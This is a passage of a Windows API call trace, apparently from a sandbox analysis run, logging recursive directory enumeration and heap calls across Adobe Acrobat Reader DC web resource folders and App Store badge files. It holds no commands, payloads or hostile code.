ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0260.323] GetProcessHeap () returned 0xc10000 [0260.323] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.323] GetProcessHeap () returned 0xc10000 [0260.323] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0260.324] GetProcessHeap () returned 0xc10000 [0260.324] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.324] GetProcessHeap () returned 0xc10000 [0260.324] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.324] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.325] GetProcessHeap () returned 0xc10000 [0260.325] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.325] GetProcessHeap () returned 0xc10000 [0260.325] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0260.325] GetProcessHeap () returned 0xc10000 [0260.325] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0260.325] GetProcessHeap () returned 0xc10000 [0260.325] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0260.327] GetProcessHeap () returned 0xc10000 [0260.327] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0260.327] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0260.336] GetProcessHeap () returned 0xc10000 [0260.336] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0260.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0261.341] GetProcessHeap () returned 0xc10000 [0261.341] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0261.342] GetProcessHeap () returned 0xc10000 [0261.342] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0261.342] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\images\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0261.343] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.343] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themeless", cAlternateFileName="THEMEL~1")) returned 1 [0261.343] GetProcessHeap () returned 0xc10000 [0261.343] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0261.344] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\images\\themeless\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0261.380] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.380] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb5a07c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb5a07c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb5a07c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Appstore", cAlternateFileName="")) returned 1 [0261.380] GetProcessHeap () returned 0xc10000 [0261.380] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.380] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\images\\themeless\\Appstore\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb5a07c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb5a07c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0261.399] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb5a07c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb5a07c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.402] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb5a07c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb5a07c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb5a07c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_cs_135x40.svg", cAlternateFileName="DO859B~1.SVG")) returned 1 [0261.403] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_da_135x40.svg", cAlternateFileName="DO6927~1.SVG")) returned 1 [0261.403] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x461d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_de_135x40.svg", cAlternateFileName="DO8184~1.SVG")) returned 1 [0261.403] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5b3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_en_135x40.svg", cAlternateFileName="DO3870~1.SVG")) returned 1 [0261.403] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5db2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_es_135x40.svg", cAlternateFileName="DO4020~1.SVG")) returned 1 [0261.403] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb5a07c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb5a07c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb5a07c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_fi_135x40.svg", cAlternateFileName="DOWNLO~3.SVG")) returned 1 [0261.403] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6838, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_fr_135x40.svg", cAlternateFileName="DOA8E2~1.SVG")) returned 1 [0261.403] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4e72, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_it_135x40.svg", cAlternateFileName="DO92D8~1.SVG")) returned 1 [0261.403] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x452e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_ja_135x40.svg", cAlternateFileName="DO7114~1.SVG")) returned 1 [0261.403] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x44bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_ko_135x40.svg", cAlternateFileName="DO7F47~1.SVG")) returned 1 [0261.404] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb5a07c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb5a07c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x507f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_nb_135x40.svg", cAlternateFileName="DO2F5B~1.SVG")) returned 1 [0261.404] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5857, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_nl_135x40.svg", cAlternateFileName="DO13BB~1.SVG")) returned 1 [0261.404] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb5a07c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb5a07c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb5a07c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x48e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_pl_135x40.svg", cAlternateFileName="DOWNLO~2.SVG")) returned 1 [0261.404] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb5a07c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb5a07c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb5a07c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_pt_135x40.svg", cAlternateFileName="DOWNLO~1.SVG")) returned 1 [0261.404] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb5a07c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb5a07c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb5a07c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5c4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_ru_135x40.svg", cAlternateFileName="DOWNLO~4.SVG")) returned 1 [0261.404] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4445, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_sv_135x40.svg", cAlternateFileName="DODD2F~1.SVG")) returned 1 [0261.404] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5227, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_tr_135x40.svg", cAlternateFileName="DO4A20~1.SVG")) returned 1 [0261.404] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x36f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_zh_cn_135x40.svg", cAlternateFileName="DO1D8F~1.SVG")) returned 1 [0261.404] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_zh_tw_135x40.svg", cAlternateFileName="DO1551~1.SVG")) returned 1 [0261.405] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download_on_the_App_Store_Badge_zh_tw_135x40.svg", cAlternateFileName="DO1551~1.SVG")) returned 0 [0261.405] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0261.407] GetProcessHeap () returned 0xc10000 [0261.407] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.407] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x13362, dwReserved0=0x0, dwReserved1=0x0, cFileName="appstore.png", cAlternateFileName="")) returned 1 [0261.407] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x101e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="flags.png", cAlternateFileName="")) returned 1 [0261.407] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2df63, dwReserved0=0x0, dwReserved1=0x0, cFileName="flags@2x.png", cAlternateFileName="")) returned 1 [0261.407] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Playstore", cAlternateFileName="PLAYST~1")) returned 1 [0261.407] GetProcessHeap () returned 0xc10000 [0261.407] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.407] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\images\\themeless\\Playstore\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb5a07c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0261.411] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, 